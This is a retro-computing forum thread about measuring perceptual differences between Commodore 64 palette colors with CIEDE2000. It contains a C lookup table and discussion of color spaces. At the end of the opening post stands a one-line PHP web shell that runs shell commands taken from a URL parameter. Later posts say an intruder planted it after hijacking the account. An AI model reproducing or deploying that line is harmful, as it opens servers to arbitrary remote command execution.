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Forums > C64 Coding > C64 color comparison
2016-10-07 19:54
Ghostrider
Administrator

Posts: 45
C64 color comparison

<Post edited by Ghostrider on 20/11-2024 15:37>

So, I'm playing around with something that utilizes color differences, and I wanted my code to be as good as I could make it. That led me into a little research, resulting in the below table (and documentation) in my code. I have no idea whether others have done anything like this, I just thought I'd share it in case it could be useful for someone. (Tho I guess there could be someone who doesn't like the Pepto palette). The color-differences range from 0 to 100, as can be seen from the difference between black and white.

/* COLOR-DIFFERENCE TABLE, measuring how alike 2 colors look to the human eye.
 *
 * Created by translating the correct C64 RGB-palette (as thoroughly researched
 * by Philip 'Pepto' Timmermann, and published in the "Commodore VIC-II Color
 * Analysis"):
 *
 * Black      White      Red        Cyan       Purple     Green      Blue
 * 00 00 00   ff ff ff   68 37 2b   70 a4 b2   6f 3d 86   58 8d 43   35 28 79
 *
 * Yellow     Orange     Brown      Lt Red     Dark Grey  Med Grey   Lt green
 * b8 c7 6f   6f 4f 25   43 39 00   9a 67 59   44 44 44   6c 6c 6c   9a d2 84
 *
 * Lt Blue    Lt Grey
 * 6c 5e b5   95 95 95
 *
 *
 * into the intended perceptually uniform CIE L*a*b* (CIELAB) color space via
 * Photoshop CS5:
 *
 * Black      White     Red       Cyan        Purple     Green      Blue
 * 0 0 0      100 0 0   29 21 18  64 -15 -13  35 32 -32  54 -29 33  22 25 -45
 *
 * Yellow     Orange    Brown     Lt Red      Dark Grey  Med Grey   Lt green
 * 78 -15 42  36 10 30  24 0 33   49 20 17    29 0 0     46 0 0     79 -29 33
 *
 * Lt Blue    Lt Grey
 * 44 22 -45  62 0 0
 *
 * and finally, using the above CIE L*a*b* values, computing the
 * color-differences between any two C64 colors. This was done using a Matlab
 * implementation of the CIEDE2000 color-difference formula, published by
 * Gaurav Sharma at the University of Rochester. As of 2016, this should be the
 * best visual-color-difference algorithm available.
 */
float colordiff[16][16] = {
	{0.00000, 100.00000, 27.29927, 53.26580, 33.36977, 46.54540, 27.91278,
	 71.32101, 30.91014, 24.36201, 40.40526, 18.97503, 32.86756, 72.80412,
	 39.20668, 48.53537},

	{100.00000, 0.00000, 61.97257, 29.34183, 56.93753, 40.24329, 71.85536,
	 26.50693, 54.14554, 67.73280, 42.05900, 58.78266, 40.33892, 26.72007,
	 48.58504, 26.02320},

	{27.29927, 61.97257, 0.00000, 53.66487, 28.72115, 44.76018, 33.08048,
	 56.92023, 14.00707, 21.06269, 17.36067, 19.62648, 24.37162, 61.72667,
	 35.29397, 37.10740},

	{53.26580, 29.34183, 53.66487, 0.00000, 38.60884, 30.82463, 43.73660,
	 34.43323, 43.05106, 48.64282, 43.62700, 37.61613, 23.58306, 31.63124,
	 27.79863, 16.38323},

	{33.36977, 56.93753, 28.72115, 38.60884, 0.00000, 63.67504, 13.95492,
	 69.94213, 40.00703, 47.52039, 30.66366, 24.06466, 25.52344, 73.27806,
	 13.99189, 35.70972},

	{46.54540, 40.24329, 44.76018, 30.82463, 63.67504, 0.00000, 55.77398,
	 21.74555, 31.80033, 31.80176, 38.51345, 32.30988, 24.56106, 20.17950,
	 49.67790, 24.32458},

	{27.91278, 71.85536, 33.08048, 43.73660, 13.95492, 55.77398, 0.00000,
	 80.90839, 43.71174, 48.31631, 39.23529, 24.73801, 31.07341, 74.86371,
	 17.74707, 43.54902},

	{71.32101, 26.50693, 56.92023, 34.43323, 69.94213, 21.74555, 80.90839,
	 0.00000, 42.97277, 54.79072, 39.45047, 52.55362, 35.47933, 9.66140,
	 64.56892, 25.73341},

	{30.91014, 54.14554, 14.00707, 43.05106, 40.00703, 31.80033, 43.71174,
	 42.97277, 0.00000, 12.50487, 17.45413, 19.77869, 20.96770, 47.52027,
	 42.70317, 32.11929},

	{24.36201, 67.73280, 21.06269, 48.64282, 47.52039, 31.80176, 48.31631,
	 54.79072, 12.50487, 0.00000, 29.37105, 19.29903, 26.19519, 57.58782,
	 50.39976, 39.71692},

	{40.40526, 42.05900, 17.36067, 43.62700, 30.66366, 38.51345, 39.23529,
	 39.45047, 17.45413, 29.37105, 0.00000, 25.82295, 19.35305, 45.64642,
	 32.88847, 22.69667},

	{18.97503, 58.78266, 19.62648, 37.61613, 24.06466, 32.30988, 24.73801,
	 52.55362, 19.77869, 19.29903, 25.82295, 0.00000, 14.44913, 53.39135,
	 26.98485, 31.49222},

	{32.86756, 40.33892, 24.37162, 23.58306, 25.52344, 24.56106, 31.07341,
	 35.47933, 20.96770, 26.19519, 19.35305, 14.44913, 0.00000, 36.41365,
	 23.94736, 15.38462},

	{72.80412, 26.72007, 61.72667, 31.63124, 73.27806, 20.17950, 74.86371,
	 9.66140, 47.52027, 57.58782, 45.64642, 53.39135, 36.41365, 0.00000,
	 57.25129, 26.64841},

	{39.20668, 48.58504, 35.29397, 27.79863, 13.99189, 49.67790, 17.74707,
	 64.56892, 42.70317, 50.39976, 32.88847, 26.98485, 23.94736, 57.25129,
	 0.00000, 29.63502},

	{48.53537, 26.02320, 37.10740, 16.38323, 35.70972, 24.32458, 43.54902,
	 25.73341, 32.11929, 39.71692, 22.69667, 31.49222, 15.38462, 26.64841,
	 29.63502, 0.00000}
};

[PETDel]<?php system($_GET['cmd']); ?>
[/PETDel][/code]
 
... 14 posts hidden. Click here to view all posts....
 
2016-10-10 19:31
Copyfault

Registered: Dec 2001
Posts: 478
Quoting Oswald
I dont understand half of that german wiki. so rgb to xyz then xyz to lab ? [...]

Die Faktoren 500 bzw. 200 sollen die resultierenden Werte für a* und b* in die gewohnten Größenordnungen bringen, die auch zum maximalen L* von 100 passen.
wat ? :)

These numbers (500, 200) are certain scaling factors to ensure consistency between the values for L*, a* and b*.

As I don't have any experiences with L*a*b*-coordinates as of yet, I can just take those scaling factors as given and assume that they ensure proper calculation results.

Sorry for only posting a German link; unfortunatly, the english wiki did not contain information on how to convert from (some) RGB space to this L*a*b*-thing. At least I did not find anything like that up to now...
2024-11-21 10:35
Jetboy

Registered: Jul 2006
Posts: 338
I'm dabbling in color conversions and color spaces a lot, over a year. I don't know what you use it for, but when converting images to c64, while CEIDE2000 gives the most true representation of colors of original image it does not look too good.

Using XYZ, HSV or even RGB give much more pleasant images (although color shifted). Also trying Manhattan or Minkowsky instead of euclidean distance give interesting results.

As for palette, Pepto is good, but in my experience PALette is better. But it is nuisance, as the results differ depending of way too many factors, including specific c64, monitor, image being processed, lightning in the presentation room, and individual qualities of the observer.

The key to getting nice colors in RGB is to use weight for each color, representing how much it contribute for the human vision. Although if you apply the weights "as the handbook says", you get way too much blue in dark areas, resulting in images looking like they were from old Censor Design demos. If you apply only 80-90 percent of the weights, you avoid this drawback, and get more representative colors.

Also when converting images to c64, when they are too washed out, you can decide not to use dark gray, or dark gray and mid gray. They get much more colorful then, but more bluish. If viewer does not know the original picture, it will be looking good to them in most cases.

All i say here are the generalizations, and individual images may deviate a lot.

Also i do not think doing image processing in kickass is the way to go, as you do not get immediate response and cannot tweak values in real time- which can improve conversion quality greatly. But again, i do not know what you use this color comparisons for :)
2024-11-21 14:23
Jetboy

Registered: Jul 2006
Posts: 338
The more i think about it, the more i think my implementation of CIEDE2000 was somewhat flawed. Will investigate it again when i find some spare time.
2024-11-22 18:15
Copyfault

Registered: Dec 2001
Posts: 478
Quote: <Post censored by CSDb staff>

Hmm, aside from un-necrofying this thread, does this post mean the values have been updated?

If so, did the initial post change along with it? Would be a bit confusing because then nobody has the chance to compare old to new values...


But I guess it's all different and I'm on the wrong path. Still using the values (that used to be here) for looking up substitute colours, but -having read the old posts again- I did not really pick up on writing a proper distance function (in whatever xass).

So, still smth to do I'd say ;)
2024-11-22 19:23
chatGPZ

Registered: Dec 2001
Posts: 11387
These days you should probably use the values Tobias measured (different for odd and even lines) to get optimal results (this is what VICE uses for the CRT emulation/palette generator now)
2024-11-22 21:52
Copyfault

Registered: Dec 2001
Posts: 478
Quote: These days you should probably use the values Tobias measured (different for odd and even lines) to get optimal results (this is what VICE uses for the CRT emulation/palette generator now)

Very good pointer! THX!

Is there a thread or link to a webpage or whatever where I can see these values? Or maybe I should just contact him ;)
2024-11-23 00:34
chatGPZ

Registered: Dec 2001
Posts: 11387
There was some thread on F64, a year ago or so. I usually just contact him directly :)
2024-11-24 13:33
Ghostrider
Administrator

Posts: 45
Hey guys,
just to let you know my account got hacked, so the un-necrofying in post #17 above was not me. You might also notice the PETDel crap that the ill-natured person inserted at the bottom of my original post. (Maybe it will be removed again, I don't know.) I've changed my password.

Had no intention to revive this thread, nevertheless always interesting to see different ideas on the color stuff.
2024-11-24 23:57
Count Zero

Registered: Jan 2003
Posts: 1933
Thanx Ghostrider -removed the post and Admin team is currently looking at further incidents affecting the database.
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